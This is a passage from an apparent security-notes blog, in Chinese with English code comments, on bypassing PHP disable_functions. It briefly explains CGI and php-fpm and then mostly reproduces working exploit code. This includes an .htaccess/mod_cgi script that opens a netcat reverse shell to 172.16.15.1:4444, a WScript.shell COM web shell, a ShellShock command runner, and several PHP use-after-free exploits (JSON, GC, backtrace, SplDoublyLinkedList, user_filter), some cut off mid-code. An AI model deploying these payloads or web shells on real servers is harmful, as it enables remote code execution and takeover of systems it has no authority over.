","date":"2021-01-29","objectID":"/bypass-disable_function-php/:7:1","tags":["RCE","UAF","Bypass"],"title":"Bypass Disable_function (PHP)","uri":"/bypass-disable_function-php/"},{"categories":["Notes"],"content":"CGI ","date":"2021-01-29","objectID":"/bypass-disable_function-php/:8:0","tags":["RCE","UAF","Bypass"],"title":"Bypass Disable_function (PHP)","uri":"/bypass-disable_function-php/"},{"categories":["Notes"],"content":"简介 CGI(Common Gateway Interface:通用网关接口)是Web 服务器运行时外部程序的规范,按CGI 编写的程序可以扩展服务器功能。CGI 应用程序能与浏览器进行交互,还可通过数据库API 与数据库服务器等外部数据源进行通信,从数据库服务器中获取数据。 当用户访问我们的 Web 应用时,会发起一个 HTTP 请求。最终 Web 服务器接收到这个请求。 Web 服务器创建一个新的 CGI 进程。在这个进程中,将 HTTP 请求数据已一定格式解析出来,并通过标准输入和环境变量传入到 URL 指定的 CGI 程序。 Web 应用程序处理完成后将返回数据写入到标准输出中,Web 服务器进程则从标准输出流中读取到响应,并采用 HTTP 协议返回给用户响应。 但是CGI协议对于每个请求都需要重新 fork 出一个 CGI 进程,处理完成后关闭,这在高并发时会占用大量服务器资源,所以基于 CGI 协议的基础上做了改进便有了 FastCGI 协议,它是一种常驻型的 CGI 协议。 ","date":"2021-01-29","objectID":"/bypass-disable_function-php/:8:1","tags":["RCE","UAF","Bypass"],"title":"Bypass Disable_function (PHP)","uri":"/bypass-disable_function-php/"},{"categories":["Notes"],"content":"Fastcgi FastCGI的主要目的就是,将webserver和动态语言的执行分开为两个不同的常驻进程,当webserver接收到动态脚本的请求,就通过fcgi协议将请求通过网络转发给fcgi进程,由fcgi进程进行处理之后,再将结果传送给webserver,然后webserver再输出给浏览器。这种模型由于不用每次请求都重新启动一次cgi,也不用嵌入脚本解析器到webserver中去,因此可伸缩性很强,一旦动态脚本请求量增加,就可以将后端fcgi进程单独设立一个集群提供服务,很大的增加了可维护性,这也是为什么fcgi等类似模式如此流行的原因之一。 ","date":"2021-01-29","objectID":"/bypass-disable_function-php/:8:2","tags":["RCE","UAF","Bypass"],"title":"Bypass Disable_function (PHP)","uri":"/bypass-disable_function-php/"},{"categories":["Notes"],"content":"Fastcgi(Nginx+php-fpm) PHP-FPM即PHP-FastCGI Process Manager PHP-FPM是FastCGI的实现,并提供了进程管理的功能。 进程包含 master 进程和 worker 进程两种进程 master 进程只有一个,负责监听端口,接收来自 Web Server 的请求,而 worker 进程则一般有多个(具体数量根据实际需要配置),每个进程内部都嵌入了一个 PHP 解释器,是 PHP 代码真正执行的地方 Nginx与php-fpm之间使用Fastcgi协议通信,目前越来越多的集群将fcgi直接绑定在公网上,所有人都可以对其进行访问。这样就意味着,任何人都可以伪装成webserver,让fcgi执行我们想执行的脚本内容 php-fpm默认监听9000端口 可以在Nginx的配置文件中看到: location ~ \\.php$ { fastcgi_pass phpfpm:9000; fastcgi_index index.php; fastcgi_param REDIRECT_STATUS 200; fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name; ... } 具体的关于Fastcgi协议以及攻击php-fpm原理的解析这里就不过多描述 参考p神的exp: Fastcgi PHP-FPM Client \u0026\u0026 Code Execution ","date":"2021-01-29","objectID":"/bypass-disable_function-php/:8:3","tags":["RCE","UAF","Bypass"],"title":"Bypass Disable_function (PHP)","uri":"/bypass-disable_function-php/"},{"categories":["Notes"],"content":"Mod CGI(Apache_mod_php) 此方式为 mod_php 通过嵌入 PHP 解释器到 Apache 进程中对php文件进行解析 利用条件: Apache + PHP (apache 使用 apache_mod_php) Apache 开启了 cgi, rewrite Web 目录给了 AllowOverride 权限 介绍一下mod_cgi:(mod_cgi - Apache HTTP Server Version 2.4) 任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中。 这里提到了CGI脚本,CGI脚本简单说来便是放在服务器上的可执行程序,CGI编程没有特定的语言,C语言、linux shell、perl、vb等等都可以进行CGI编程,使用linux shell脚本编写的cgi程序便可以执行系统命令 所以当Apache 开启了 cgi, rewrite时,我们可以利用.htaccess文件,临时允许一个目录可以执行cgi程序并且使得服务器将自定义的后缀解析为cgi程序,则可以在目的目录下使用.htaccess文件进行配置: Options +ExecCGI AddHandler cgi-script .aaa 然后准备shell.aaa作为cgi程序执行: #!/bin/sh echo;whoami;uname -a 都上传至靶机后,发现直接访问500,因为需要给shell.aaa添加可执行权限,chmod(\"shell.aaa\",0777); l3m0n师傅的exp: \u003c?php $cmd = \"nc -c '/bin/bash' 172.16.15.1 4444\"; //command to be executed $shellfile = \"#!/bin/bash\\n\"; //using a shellscript $shellfile .= \"echo -ne \\\"Content-Type: text/html\\\\n\\\\n\\\"\\n\"; //header is needed, otherwise a 500 error is thrown when there is output $shellfile .= \"$cmd\"; //executing $cmd function checkEnabled($text, $condition, $yes, $no) //this surely can be shorter { echo \"$text: \" . ($condition ? $yes : $no) . \"\u003cbr\u003e\\n\"; } if (!isset($_GET['checked'])) { @file_put_contents('.htaccess', \"\\nSetEnv HTACCESS on\", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked } else { $modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled? $writable = is_writable('.'); //current dir writable? $htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled? checkEnabled(\"Mod-Cgi enabled\", $modcgi, \"Yes\", \"No\"); checkEnabled(\"Is writable\", $writable, \"Yes\", \"No\"); checkEnabled(\"htaccess working\", $htaccess, \"Yes\", \"No\"); if (!($modcgi \u0026\u0026 $writable \u0026\u0026 $htaccess)) { echo \"Error. All of the above must be true for the script to work!\"; //abort if not } else { checkEnabled(\"Backing up .htaccess\", copy(\".htaccess\", \".htaccess.bak\"), \"Suceeded! Saved in .htaccess.bak\", \"Failed!\"); //make a backup, cause you never know. checkEnabled(\"Write .htaccess file\", file_put_contents('.htaccess', \"Options +ExecCGI\\nAddHandler cgi-script .dizzle\"), \"Succeeded!\", \"Failed!\"); //.dizzle is a nice extension checkEnabled(\"Write shell file\", file_put_contents('shell.dizzle', $shellfile), \"Succeeded!\", \"Failed!\"); //write the file checkEnabled(\"Chmod 777\", chmod(\"shell.dizzle\", 0777), \"Succeeded!\", \"Failed!\"); //rwx echo \"Executing the script now. Check your listener \u003cimg src = 'shell.dizzle' style = 'display:none;'\u003e\"; //call the script } } ?\u003e ","date":"2021-01-29","objectID":"/bypass-disable_function-php/:8:4","tags":["RCE","UAF","Bypass"],"title":"Bypass Disable_function (PHP)","uri":"/bypass-disable_function-php/"},{"categories":["Notes"],"content":"Windows COM COM组件它最早的设计意图是,跨语言实现程序组件的复用COM组件由以Win 32动态连接库(DLL)或可执行文件(EXE)形式发布的可执行代码所组成。遵循COM规范编写出来的组件将能够满足对组件架构的所有要求。COM组件可以给应用程序、操作系统以及其他组件提供服务;自定义的COM组件可以在运行时刻同其他组件连接起来构成某个应用程序;COM组件可以动态的插入或卸出应用。 利用条件: com.allow_dcom = true extension=php_com_dotnet.dll exp: \u003c?php $command=$_GET['a']; $wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能 $exec = $wsh-\u003eexec(\"cmd /c\".$command); //调用对象方法来执行命令 $stdout = $exec-\u003eStdOut(); $stroutput = $stdout-\u003eReadAll(); echo $stroutput; ?\u003e ","date":"2021-01-29","objectID":"/bypass-disable_function-php/:9:0","tags":["RCE","UAF","Bypass"],"title":"Bypass Disable_function (PHP)","uri":"/bypass-disable_function-php/"},{"categories":["Notes"],"content":"ShellShock 目标OS如果存在Bash破壳(CVE-2014-6271)漏洞,就可以利用mail、error_log等可以创建子进程的函数调用bash,触发ShellShock漏洞绕过disable_function exp: \u003c?php function runcmd($c){ $d = dirname($_SERVER[\"SCRIPT_FILENAME\"]); if(substr($d, 0, 1) == \"/\" \u0026\u0026 function_exists('putenv') \u0026\u0026 (function_exists('error_log') || function_exists('mail'))){ if(strstr(readlink(\"/bin/sh\"), \"bash\")!=FALSE){ $tmp=tempnam(sys_get_temp_dir(), 'as'); putenv(\"PHP_LOL=() { x; }; $c\u003e$tmp2\u003e\u00261\"); if (function_exists('error_log')) { error_log(\"a\", 1); }else{ mail(\"a@127.0.0.1\", \"\", \"\", \"-bv\"); } }else{ print(\"Not vuln (not bash)\\n\"); } $output = @file_get_contents($tmp); @unlink($tmp); if($output!=\"\"){ print($output); }else{ print(\"No output, or not vuln.\"); } }else{ print(\"不满足使用条件\"); } } // runcmd(\"whoami\"); // 要执行的命令 runcmd($_REQUEST[\"cmd\"]); // ?cmd=whoami ?\u003e 或者PHP \u003c 5.6.2 - ‘Shellshock’ Safe Mode / disable_functions Bypass / Command Injection - PHP webapps Exploit ","date":"2021-01-29","objectID":"/bypass-disable_function-php/:10:0","tags":["RCE","UAF","Bypass"],"title":"Bypass Disable_function (PHP)","uri":"/bypass-disable_function-php/"},{"categories":["Notes"],"content":"JSON UAF Bypass This exploit utilises a use after free vulnerability in json serializer in order to bypass disable_functions and execute a system command. It should be fairly reliable and work on all server apis, although that is not guaranteed. PHP :: Bug #77843 :: Use after free with json serializer 影响范围: 7.1 - all versions to date 7.2 \u003c 7.2.19 (released: 30 May 2019) 7.3 \u003c 7.3.6 (released: 30 May 2019) exp: php-json-bypass/exploit.php · mm0r1/exploits \u003c?php $cmd = \"id\"; $n_alloc = 10; # increase this value if you get segfaults class MySplFixedArray extends SplFixedArray { public static $leak; } class Z implements JsonSerializable { public function write(\u0026$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i \u003c $n; $i++) { $str[$p + $i] = chr($v \u0026 0xff); $v \u003e\u003e= 8; } } public function str2ptr(\u0026$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j \u003e= 0; $j--) { $address \u003c\u003c= 8; $address |= ord($str[$p+$j]); } return $address; } public function ptr2str($ptr, $m = 8) { $out = \"\"; for ($i=0; $i \u003c $m; $i++) { $out .= chr($ptr \u0026 0xff); $ptr \u003e\u003e= 8; } return $out; } # unable to leak ro segments public function leak1($addr) { global $spl1; $this-\u003ewrite($this-\u003eabc, 8, $addr - 0x10); return strlen(get_class($spl1)); } # the real deal public function leak2($addr, $p = 0, $s = 8) { global $spl1, $fake_tbl_off; # fake reference zval $this-\u003ewrite($this-\u003eabc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted $this-\u003ewrite($this-\u003eabc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval $this-\u003ewrite($this-\u003eabc, $fake_tbl_off + 0x20, 6); # type (string) $leak = strlen($spl1::$leak); if($s != 8) { $leak %= 2 \u003c\u003c ($s * 8) - 1; } return $leak; } public function parse_elf($base) { $e_type = $this-\u003eleak2($base, 0x10, 2); $e_phoff = $this-\u003eleak2($base, 0x20); $e_phentsize = $this-\u003eleak2($base, 0x36, 2); $e_phnum = $this-\u003eleak2($base, 0x38, 2); for($i = 0; $i \u003c $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = $this-\u003eleak2($header, 0, 4); $p_flags = $this-\u003eleak2($header, 4, 4); $p_vaddr = $this-\u003eleak2($header, 0x10); $p_memsz = $this-\u003eleak2($header, 0x28); if($p_type == 1 \u0026\u0026 $p_flags == 6) { # PT_LOAD, PF_Read_Write # handle pie $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 \u0026\u0026 $p_flags == 5) { # PT_LOAD, PF_Read_exec $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } public function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i \u003c $data_size / 8; $i++) { $leak = $this-\u003eleak2($data_addr, $i * 8); if($leak - $base \u003e 0 \u0026\u0026 $leak - $base \u003c $data_addr - $base) { $deref = $this-\u003eleak2($leak); # 'constant' constant check if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = $this-\u003eleak2($data_addr, ($i + 4) * 8); if($leak - $base \u003e 0 \u0026\u0026 $leak - $base \u003c $data_addr - $base) { $deref = $this-\u003eleak2($leak); # 'bin2hex' constant check if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } public function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak \u0026 0xfffffffffffff000; for($i = 0; $i \u003c 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = $this-\u003eleak2($addr, 0, 7); if($leak == 0x10102464c457f) { # ELF header return $addr; } } } public function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = $this-\u003eleak2($addr); $f_name = $this-\u003eleak2($f_entry, 0, 6); if($f_name == 0x6d6574737973) { # system return $this-\u003eleak2($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } public function jsonSerialize() { global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc; $contiguous = []; for($i = 0; $i \u003c $n_alloc; $i++) $contiguous[] = new DateInterval('PT1S'); $room = []; for($i = 0; $i \u003c $n_alloc; $i++) $room[] = new Z(); $_protector = $this-\u003eptr2str(0, 78); $this-\u003eabc = $this-\u003eptr2str(0, 79); $p = new DateInterval('PT1S'); unset($y[0]); unset($p); $protector = \".$_protector\"; $x = new Da","date":"2021-01-29","objectID":"/bypass-disable_function-php/:11:0","tags":["RCE","UAF","Bypass"],"title":"Bypass Disable_function (PHP)","uri":"/bypass-disable_function-php/"},{"categories":["Notes"],"content":"GC Bypass This exploit uses a three year old bug in PHP garbage collector to bypass disable_functions and execute a system command. It was tested on various php7.0-7.3 builds for Ubuntu/CentOS/FreeBSD with cli/fpm/apache2 server APIs and found to work reliably. Feel free to submit an issue if you experience any problems. PHP :: Bug #72530 :: Use After Free in GC with Certain Destructors 影响范围: 7.0 - all versions to date 7.1 - all versions to date 7.2 - all versions to date 7.3 - all versions to date exp: php7-gc-bypass/exploit.php · mm0r1/exploits \u003c?php # PHP 7.0-7.3 disable_functions bypass PoC (*nix only) # # Bug: https://bugs.php.net/bug.php?id=72530 # # This exploit should work on all PHP 7.0-7.3 versions # # Author: https://github.com/mm0r1 pwn(\"uname -a\"); function pwn($cmd) { global $abc, $helper; function str2ptr(\u0026$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j \u003e= 0; $j--) { $address \u003c\u003c= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = \"\"; for ($i=0; $i \u003c $m; $i++) { $out .= chr($ptr \u0026 0xff); $ptr \u003e\u003e= 8; } return $out; } function write(\u0026$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i \u003c $n; $i++) { $str[$p + $i] = chr($v \u0026 0xff); $v \u003e\u003e= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper-\u003ea); if($s != 8) { $leak %= 2 \u003c\u003c ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i \u003c $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 \u0026\u0026 $p_flags == 6) { # PT_LOAD, PF_Read_Write # handle pie $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 \u0026\u0026 $p_flags == 5) { # PT_LOAD, PF_Read_exec $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i \u003c $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base \u003e 0 \u0026\u0026 $leak - $base \u003c $data_addr - $base) { $deref = leak($leak); # 'constant' constant check if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base \u003e 0 \u0026\u0026 $leak - $base \u003c $data_addr - $base) { $deref = leak($leak); # 'bin2hex' constant check if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak \u0026 0xfffffffffffff000; for($i = 0; $i \u003c 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { # ELF header return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { # system return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } class ryat { var $ryat; var $chtg; function __destruct() { $this-\u003echtg = $this-\u003eryat; $this-\u003eryat = 1; } } class Helper { public $a, $b, $c, $d; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc = 10; # increase this value if you get segfaults $contiguous = []; for($i = 0; $i \u003c $n_alloc; $i++) $contiguous[] = str_repeat('A', 79); $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:\"ryat\":2:{s:4:\"ryat\";R:3;s:4:\"chtg\";i:2;}}i:1;i:3;i:2;R:5;}'; $out = unserialize($poc); gc_collect_cycles(); $v = []; $v[0] = ptr2str(0, 79); unset($v); $abc = $out[2][0]; $helper = new Helper; $helper-\u003eb = function ($x) { }; if(strlen($abc) == 79 || strlen($abc) == 0) { die(\"UAF failed\"); } # leaks $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap -","date":"2021-01-29","objectID":"/bypass-disable_function-php/:12:0","tags":["RCE","UAF","Bypass"],"title":"Bypass Disable_function (PHP)","uri":"/bypass-disable_function-php/"},{"categories":["Notes"],"content":"Backtrace Bypass This exploit uses a two year old bug in debug_backtrace() function. We can trick it into returning a reference to a variable that has been destroyed, causing a use-after-free vulnerability. The PoC was tested on various php builds for Debian/Ubuntu/CentOS/FreeBSD with cli/fpm/apache2 server APIs and found to work reliably. PHP :: Bug #76047 :: Use-after-free when accessing already destructed backtrace arguments 影响范围: 7.0 - all versions to date 7.1 - all versions to date 7.2 - all versions to date 7.3 \u003c 7.3.15 (released 20 Feb 2020) 7.4 \u003c 7.4.3 (released 20 Feb 2020) exp: php7-backtrace-bypass/exploit.php · mm0r1/exploits \u003c?php # PHP 7.0-7.4 disable_functions bypass PoC (*nix only) # # Bug: https://bugs.php.net/bug.php?id=76047 # debug_backtrace() returns a reference to a variable # that has been destroyed, causing a UAF vulnerability. # # This exploit should work on all PHP 7.0-7.4 versions # released as of 30/01/2020. # # Author: https://github.com/mm0r1 pwn(\"uname -a\"); function pwn($cmd) { global $abc, $helper, $backtrace; class Vuln { public $a; public function __destruct() { global $backtrace; unset($this-\u003ea); $backtrace = (new Exception)-\u003egetTrace(); # ;) if(!isset($backtrace[1]['args'])) { # PHP \u003e= 7.4 $backtrace = debug_backtrace(); } } } class Helper { public $a, $b, $c, $d; } function str2ptr(\u0026$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j \u003e= 0; $j--) { $address \u003c\u003c= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = \"\"; for ($i=0; $i \u003c $m; $i++) { $out .= chr($ptr \u0026 0xff); $ptr \u003e\u003e= 8; } return $out; } function write(\u0026$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i \u003c $n; $i++) { $str[$p + $i] = chr($v \u0026 0xff); $v \u003e\u003e= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper-\u003ea); if($s != 8) { $leak %= 2 \u003c\u003c ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i \u003c $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 \u0026\u0026 $p_flags == 6) { # PT_LOAD, PF_Read_Write # handle pie $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 \u0026\u0026 $p_flags == 5) { # PT_LOAD, PF_Read_exec $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i \u003c $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base \u003e 0 \u0026\u0026 $leak - $base \u003c $data_addr - $base) { $deref = leak($leak); # 'constant' constant check if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base \u003e 0 \u0026\u0026 $leak - $base \u003c $data_addr - $base) { $deref = leak($leak); # 'bin2hex' constant check if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak \u0026 0xfffffffffffff000; for($i = 0; $i \u003c 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { # ELF header return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { # system return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } function trigger_uaf($arg) { # str_shuffle prevents opcache string interning $arg = str_shuffle(str_repeat('A', 79)); $vuln = new Vuln(); $vuln-\u003ea = $arg; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc = 10; # increase this value if UAF fails $contiguou","date":"2021-01-29","objectID":"/bypass-disable_function-php/:13:0","tags":["RCE","UAF","Bypass"],"title":"Bypass Disable_function (PHP)","uri":"/bypass-disable_function-php/"},{"categories":["Notes"],"content":"SplDoublyLinkedList UAF SplDoublyLinkedList is a doubly-linked list (DLL) which supports iteration. Said iteration is done by keeping a pointer to the “current” DLL element. You can then call next() or prev() to make the DLL point to another element. When you delete an element of the DLL, PHP will remove the element from the DLL, then destroy the zval, and finally clear the current ptr if it points to the element. Therefore, when the zval is destroyed, current is still pointing to the associated element, even if it was removed from the list. This allows for an easy UAF, because you can call $dll-\u003enext() or $dll-\u003eprev() in the zval’s destructor. PHP :: Bug #80111 :: PHP SplDoublyLinkedList::offsetUnset UAF Sandbox Escape 影响范围: PHP 5.3.0 to PHP 8.0 (alpha) are vulnerable, that is every PHP version since the creation of the class. BUG 发生在 PHP 内置类 SplDoublyLinkedList,一个双链表类,有一个指针 traverse_pointer 用于指向当前位置,在调用 unset 删除链表元素的时候,处理顺序上有点问题: if (element != NULL) { /* connect the neightbors */ ... /* take care of head/tail */ ... /* finally, delete the element */ llist-\u003ecount--; if(llist-\u003edtor) { llist-\u003edtor(element); } if (intern-\u003etraverse_pointer == element) { SPL_LLIST_DELREF(element); intern-\u003etraverse_pointer = NULL; } ... } 删除元素的操作被放在了置空 traverse_pointer 指针前,所以在删除一个对象时,我们可以在其构析函数中通过 current 访问到这个对象,也可以通过 next 访问到下一个元素。如果此时下一个元素已经被删除,就会导致 UAF exp: SSD Advisory – PHP SplDoublyLinkedList UAF Sandbox Escape - SSD Secure Disclosure 注:此exp只支持PHP7+ \u003c?php # # PHP SplDoublyLinkedList::offsetUnset UAF # Charles Fol (@cfreal_) # 2020-08-07 # PHP is vulnerable from 5.3 to 8.0 alpha # This exploit only targets PHP7+. # # SplDoublyLinkedList is a doubly-linked list (DLL) which supports iteration. # Said iteration is done by keeping a pointer to the \"current\" DLL element. # You can then call next() or prev() to make the DLL point to another element. # When you delete an element of the DLL, PHP will remove the element from the # DLL, then destroy the zval, and finally clear the current ptr if it points # to the element. Therefore, when the zval is destroyed, current is still # pointing to the associated element, even if it was removed from the list. # This allows for an easy UAF, because you can call $dll-\u003enext() or # $dll-\u003eprev() in the zval's destructor. # # error_reporting(E_ALL); define('NB_DANGLING', 200); define('SIZE_ELEM_STR', 40 - 24 - 1); define('STR_MARKER', 0xcf5ea1); function i2s(\u0026$s, $p, $i, $x=8) { for($j=0;$j\u003c$x;$j++) { $s[$p+$j] = chr($i \u0026 0xff); $i \u003e\u003e= 8; } } function s2i(\u0026$s, $p, $x=8) { $i = 0; for($j=$x-1;$j\u003e=0;$j--) { $i \u003c\u003c= 8; $i |= ord($s[$p+$j]); } return $i; } class UAFTrigger { function __destruct() { global $dlls, $strs, $rw_dll, $fake_dll_element, $leaked_str_offsets; #\"print('UAF __destruct: ' . \"\\n\"); $dlls[NB_DANGLING]-\u003eoffsetUnset(0); # At this point every $dll-\u003ecurrent points to the same freed chunk. We allocate # that chunk with a string, and fill the zval part $fake_dll_element = str_shuffle(str_repeat('A', SIZE_ELEM_STR)); i2s($fake_dll_element, 0x00, 0x12345678); # ptr i2s($fake_dll_element, 0x08, 0x00000004, 7); # type + other stuff # Each of these dlls current-\u003enext pointers point to the same location, # the string we allocated. When calling next(), our fake element becomes # the current value, and as such its rc is incremented. Since rc is at # the same place as zend_string.len, the length of the string gets bigger, # allowing to R/W any part of the following memory for($i = 0; $i \u003c= NB_DANGLING; $i++) $dlls[$i]-\u003enext(); if(strlen($fake_dll_element) \u003c= SIZE_ELEM_STR) die('Exploit failed: fake_dll_element did not increase in size'); $leaked_str_offsets = []; $leaked_str_zval = []; # In the memory after our fake element, that we can now read and write, # there are lots of zend_string chunks that we allocated. We keep three, # and we keep track of their offsets. for($offset = SIZE_ELEM_STR + 1; $offset \u003c= strlen($fake_dll_element) - 40; $offset += 40) { # If we find a string marker, pull it from the string list","date":"2021-01-29","objectID":"/bypass-disable_function-php/:14:0","tags":["RCE","UAF","Bypass"],"title":"Bypass Disable_function (PHP)","uri":"/bypass-disable_function-php/"},{"categories":["Notes"],"content":"iconv 前段时间ByteCTF2020的Wallbreaker2020出了这个考点,线上赛出了非预期,用Backtrace Bypass的exp,Exception类改成Error类可以绕过disable_classes 复现环境:CTFWEBchallenge/bytectf2020/wallbreaker2020 at master · baiyecha404/CTFWEBchallenge 使用iconv绕过disable_function的分析:Getting Arbitrary Code Execution from fopen’s 2nd Argument 利用条件: 可以上传文件 putenv iconv()、iconv_strlen()、php://filter的convert.iconv 利用过程参考:Bypass shell_exec or system disabled functions by using GCONV (PHP rce to system()) 以及byc_404师傅的bypass diable_function with iconv - HackMD ","date":"2021-01-29","objectID":"/bypass-disable_function-php/:15:0","tags":["RCE","UAF","Bypass"],"title":"Bypass Disable_function (PHP)","uri":"/bypass-disable_function-php/"},{"categories":["Notes"],"content":"User_filter Memory corruption with user_filter 影响范围: 5.* - exploitable with minor changes to the PoC 7.0 - all versions to date 7.1 - all versions to date 7.2 - all versions to date 7.3 - all versions to date 7.4 - all versions to date 8.0 - all versions to date poc: PHP 7.0-8.0 disable_functions bypass [user_filter] \u003c?php # PHP 7.0-8.0 disable_functions bypass PoC (*nix only) # # Bug: https://bugs.php.net/bug.php?id=54350 # # This exploit should work on all PHP 7.0-8.0 versions # released as of 2021-10-06 # # Author: https://github.com/mm0r1 pwn('uname -a'); function pwn($cmd) { define('LOGGING', false); define('CHUNK_DATA_SIZE', 0x60); define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE); define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50); define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1); define('CMD', $cmd); for($i = 0; $i \u003c 10; $i++) { $groom[] = Pwn::alloc(STRING_SIZE); } stream_filter_register('pwn_filter', 'Pwn'); $fd = fopen('php://memory', 'w'); stream_filter_append($fd,'pwn_filter'); fwrite($fd, 'x'); } class Helper { public $a, $b, $c; } class Pwn extends php_user_filter { private $abc, $abc_addr; private $helper, $helper_addr, $helper_off; private $uafp, $hfp; public function filter($in, $out, \u0026$consumed, $closing) { if($closing) return; stream_bucket_make_writeable($in); $this-\u003efiltername = Pwn::alloc(STRING_SIZE); fclose($this-\u003estream); $this-\u003ego(); return PSFS_PASS_ON; } private function go() { $this-\u003eabc = \u0026$this-\u003efiltername; $this-\u003emake_uaf_obj(); $this-\u003ehelper = new Helper; $this-\u003ehelper-\u003eb = function($x) {}; $this-\u003ehelper_addr = $this-\u003estr2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2; $this-\u003elog(\"helper @ 0x%x\", $this-\u003ehelper_addr); $this-\u003eabc_addr = $this-\u003ehelper_addr - CHUNK_SIZE; $this-\u003elog(\"abc @ 0x%x\", $this-\u003eabc_addr); $this-\u003ehelper_off = $this-\u003ehelper_addr - $this-\u003eabc_addr - 0x18; $helper_handlers = $this-\u003estr2ptr(CHUNK_SIZE); $this-\u003elog(\"helper handlers @ 0x%x\", $helper_handlers); $this-\u003eprepare_leaker(); $binary_leak = $this-\u003eread($helper_handlers + 8); $this-\u003elog(\"binary leak @ 0x%x\", $binary_leak); $this-\u003eprepare_cleanup($binary_leak); $closure_addr = $this-\u003estr2ptr($this-\u003ehelper_off + 0x38); $this-\u003elog(\"real closure @ 0x%x\", $closure_addr); $closure_ce = 